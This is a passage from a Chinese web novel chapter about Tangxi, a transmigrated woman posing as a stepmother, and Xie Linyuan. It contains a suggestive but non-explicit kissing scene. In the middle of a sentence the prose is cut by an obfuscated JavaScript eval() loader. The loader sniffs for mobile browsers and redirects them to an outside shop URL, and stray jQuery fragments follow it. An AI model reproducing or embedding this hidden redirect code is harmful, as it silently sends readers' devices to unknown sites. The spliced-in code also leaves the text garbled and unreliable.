只是,她似乎并不满足于仅有的亲吻。
她原本就在他胸前作乱的手,更是过分得往里探,指腹隔着里衣抚上他坚实的背肌,整个人几乎都似挂在他身上一般。
谢临渊喉结滚了滚,甚至有一种要窒息的快感。
他耳尖红的快要滴血,已经够了,已经够了……
他不断在心底暗示自己。
可棠溪实在是索求无度,即使他闭上唇,可下一秒,她又碾磨着他的唇瓣,暗示性地催他张口,他不得不继续迎合她。
她的身体软得不像话,整个人挂在他的身上,单膝跪地的姿势实在无法承受她这样的索取,他另一只膝盖也不得不跪在她面前,双手搭在她的腰上,将她轻轻往上托了托。
只是,几个回合后,棠溪却已经有些受不住,眼睫上挂着些泪水,一脸可怜又无辜地将他往外推了推,似是想要歇一歇。
谢临渊眸色暗沉的盯着她,短暂默许了她的动作。
然而,只片刻功夫,她却又开始不知死活地亲他,双手推在他的胸膛,欲拒还迎。
蓦然之间,天旋地转。
他竟将她紧紧抱住翻了个身子。
“谢……”她的声音还未溢出,便再次被他的唇堵住。
身后是结实的地榻,她退无可退,也不愿退让,像是要和他分个高下一般,你来我往,唇齿之间,缠上暧昧的银丝。
谢临渊想,她怕是已经爱惨了自己。
他不过是因为任务,才主动与她亲近半分,她竟如此索求无度。
是了,若不是对他有意,又怎么会宁愿顶着别人的身份,也要留在他的身旁。
是了,若不是爱惨了他,又怎么会在他咄咄逼人之后,却连他吃过的半块糕点,都小心珍藏。
是了,她为了他,连性命都可以不要。
他给过她离开他的机会,她明明可以骑着马逃走,找人来救他也好,不救他也罢,她都可以全身而退,可她没有。
她宁愿放弃自己的性命,也要挡在他身前。
甚至,即使自己受伤,也要拖着半死不活的他去求救。
那一刻,其实他就已经明白她的情意,只是他不愿相信,世界上怎么会有棠溪这样一个人出现,怀着如此浓烈的爱意,几乎要将他烫化。
他恐惧于这样直白的喜欢。
所以,那日之后,他有意冷着她,远着她,可即使这样,她还是在姻缘树下许下愿望,只希望得到他……
窸窸窣窣间,棠溪已经解下了他腰间的绦带,这代表……她愿意将自己全部交付给他……
可他不能。
他还有未完成的……
“唔”,他闷哼一声。只这出神的片刻功夫,她已经隔着衣料,探上了他腰下的环佩。
这环佩与其他玉质不同,触手甚是滚烫,她忍不住轻轻按了按,似乎是在掂量大小。
她软着嗓子,“好像比话本上的要大上不少……”,尾音还未落下,谢临渊便制住了她的动作。
他以一种不容挣脱的力道,卡在她双腕间的脉搏处,将她的双手压回头顶。
即使她对自己有如此情意,但他也不能放任自己沉沦。
他对她,不过是因为系统的任务而已。
他想,要是棠溪实在是这般喜欢她,他也可以试着接受她,让那姻缘树上的锦帕的愿望,变成现实。
但,也不是现在。
他的目光扫过她濡湿的眼尾、微红的鼻尖、以及沾上了些许水渍的唇角。
他说,“我对……别人的妻子没有兴趣。”
知道了,知道了,知道了!
这已经是她已经是第三次听到这句话了。
箭在弦上,却只能被迫停止,棠溪很是气闷。
明明是谢临渊先来勾她,半推半就之下,好事将近,却只能半途而废。
她恼怒地挣开他虚虚握着的手,一把拉上被子,看也不看他一眼。
谢临渊滚了滚喉咙,“我不是那个意思……”
他虽然知道棠溪的情意,也愿意试着接受她,但名义上,她仍是自己父亲的妻子。
“如今我们名不正言不顺,所以不可如此放纵……”
他干巴巴地解释道。
棠溪躲在被子里闷闷出声,“你不是已经知道了我不是她?”
先前谢临渊还拿这个威胁她,现如今到了床上,他却忘的一干二净了。
借口!肯定是借口!
谢临渊微微一怔,似乎是没想到棠溪竟会如此坦诚。他自己知道是一回事,可这件事真从棠溪口中说出来,又是另外一回事。
她竟对自己毫不避讳,毫不隐瞒……
他嗓音忽地哑的厉害,“嗯,我知道。”
他试探性地拉了拉被子,但却没拉动,“但在旁人眼中,你仍旧是他的妻子,我……”
他沉默着撑起了身子,坐在榻边,“回去之后,你便与父亲和离。”
“届时你我二人……”
棠溪猛地一把掀开被子,“不不不,不行!”
开什么玩笑,她已经答应过系统,在这个世界里扮演恶毒继母的角色,离了晏家,她岂不是连个恶毒小反派都混不上。
万一,万一系统回来,不带她回去了该怎么办?
“为什么?”
谢临渊眼底泛上红意。
她既对自己有意,又为何对晏深如此不舍。
按理说,她与晏深相处不过一月光景,为何如此干脆利落地拒绝了他的提议。
他想,这个提议应该不算过分。
他将棠溪有些汗湿的鬓发撩到耳侧,指腹在她耳垂处流连。
棠溪心虚地往被子里躲了躲,她可没忘记自己的结局,就算谢临渊最后给自己留了个全尸,她还是会被他一剑穿心。
再说了,她就是想得到他的身子,名分什么的又不重要,她都没让谢临渊和晏深断绝关系,他怎么好意思让自己先和离。
她素来这样,即使自己只占一分理,也要将理耍赖成十分。
“没有什么为什么,我不愿意。”
“你连让我摸摸都不允许,我又怎么可能相信你……你你你先前还对我那么坏。”
她越说越觉得自己占理,开始翻起旧帐,“那天晚上,我都躺到你床上了,你还是把我丢出去了……”
“……还有,你宁愿自己**,都不愿意碰我……”
“……你还在马车上威胁我,还说要在你父亲面前告发我……”
她越说越觉得自己委屈,“要是我真的同意了和你父亲和离,你肯定要借机把我丢的远
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17778778|209749||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
远的……”
“到时候,我就再也找不到你了……”
连摸都摸不到,更别提吃上了。
谢临渊沉默地望进她的眼里。
可她的眼底,只有对他可能会离开的恐惧。
他的手指不自觉地收紧。
诚如她所说的,他能给她的,只有微不足道的情意,远远不够她为自己承受如此大的风险。
见他沉默,她撒娇似地小心翼翼缠上他的手臂,借势半坐了起来,轻轻晃了晃他的袖子,“你说是不是呀,谢临渊。”
*
棠溪也不知事情怎么会变成这样。
她一通卖乖讨饶,谢临渊不再说什么要她和晏深和离之类的话了,反而要动身去她的老家,临安郡。
谢临渊将家书托寄驿站后,便带她离开了禅灵寺。
昨夜荒唐之后,系统给了他最后的两枚定身符碎片,最后的两句诗是,【有怀苦蕴结,长风吹不开。】
这让他无比确定,这枚定身符,一定和他母亲秋江月、以及生父谢长风有着解脱不了的干系。
因为,“怀苦”,是他母亲为他取的小字。
只是,这诗句背后的含义,他却始终捉摸不定。
或许只有真的进了蜀山剑宗,见到谢长风,他才能将那事彻底了结。
如果他没记错的话,那两位蜀山弟子的落脚地,正是临安郡郡守府。
大雪已经停住,只是这雪后的天反而更是寒冷,他特地租了辆通车铺满厚氅的马车,又让人加了两层厚被褥,放好手炉、脚炉。
“我已修书告知父亲,假说你母亲病重,需得即刻前往照顾。”谢临渊先行上了马车,回身拉住了她的手。
待两人在马车坐定,棠溪才不解问出,“为何?”
“去下聘书。”
棠溪眼睛瞪的溜圆,似乎是不敢相信自己听到了什么。
谢临渊唇角勾起一抹笑意,而后又很快掩住,不疾不徐地解释道,“你既对我有意,又担心我负你,所以,有个聘书在,也能稍稍安心一些。”
棠溪不可置信。
所以,谢临渊昨夜一宿没睡,写的就是这个??
“这样,你也该放心与我父亲和离。”
棠溪干笑。
她认真道,“其实我不在意名分的,只要留在你身边就够了。”
她话虽这样说,但心里想的却是,若是真下了聘书,她又该找什么理由来拒绝和离。
“而且,你知道,他们也不是我的父母。所以……”
谢临渊垂眸,耳廓染上些许红意,“终归名义上是的。况且,你我也已有了……肌肤之亲,我该对你负责。”
棠溪连忙摆手,“我不介意的,不就是亲了下,这有什么大不了的。”
要是亲了下就要负责,那她的师姐妹们怕不是每人得有百十多个炉鼎,那还得了,怕不是要塞满合欢宗的整个山头。
“不就是亲了下……”,谢临渊气闷地重复着棠溪的话,语气透着些危险。
“你以前,经常这样吗?”
经常……和别人亲吻,所以才会觉得没什么大不了。
谢临渊尽力维持着面上的平和,冷沉的视线盯着她。
棠溪不以为意的回答。
“当然呀。”